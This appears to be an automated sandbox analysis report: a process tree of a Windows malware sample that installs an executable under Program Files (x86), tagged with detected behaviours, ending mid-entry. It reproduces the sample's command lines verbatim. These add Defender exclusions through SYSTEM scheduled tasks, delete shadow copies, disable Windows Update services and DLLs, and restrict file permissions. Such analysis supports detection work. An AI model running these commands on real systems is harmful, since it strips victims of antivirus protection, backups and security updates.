- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6hTMWS\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5196
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6hTMWS\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4220
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2532
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:892
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5576
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2696
- C:\Program Files (x86)\itBsaE\0hHpZw.exe
  "C:\Program Files (x86)\itBsaE\0hHpZw.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4620
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4796
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1440
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5620
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5736
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1484
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1064
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2812
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:548
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1584
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:200
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:5292
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:972
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:4844
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2596
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1244
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:3984
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4416
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1236
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2196
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3676
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4392
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3500
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5856
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5980
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1000
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2600
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1772
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5852
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3940
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5332
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\itBsaE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\itBsaE\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3944
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4592
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3236
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3396
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1860
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\0hHpZw.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\0hHpZw.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2148
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\0hHpZw.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5712
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\0hHpZw.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\0hHpZw.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\0hHpZw.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3128
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3436
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1532
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4616
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3008
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3724
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4588
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2664
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1220
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:896
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5928
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4620
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1748
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5048
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1384
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1956
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1904
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5220
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3616
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\itBsaE\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\itBsaE\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5152
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4916
  - - C:\Windows\SysWOW64\schtasks.exe
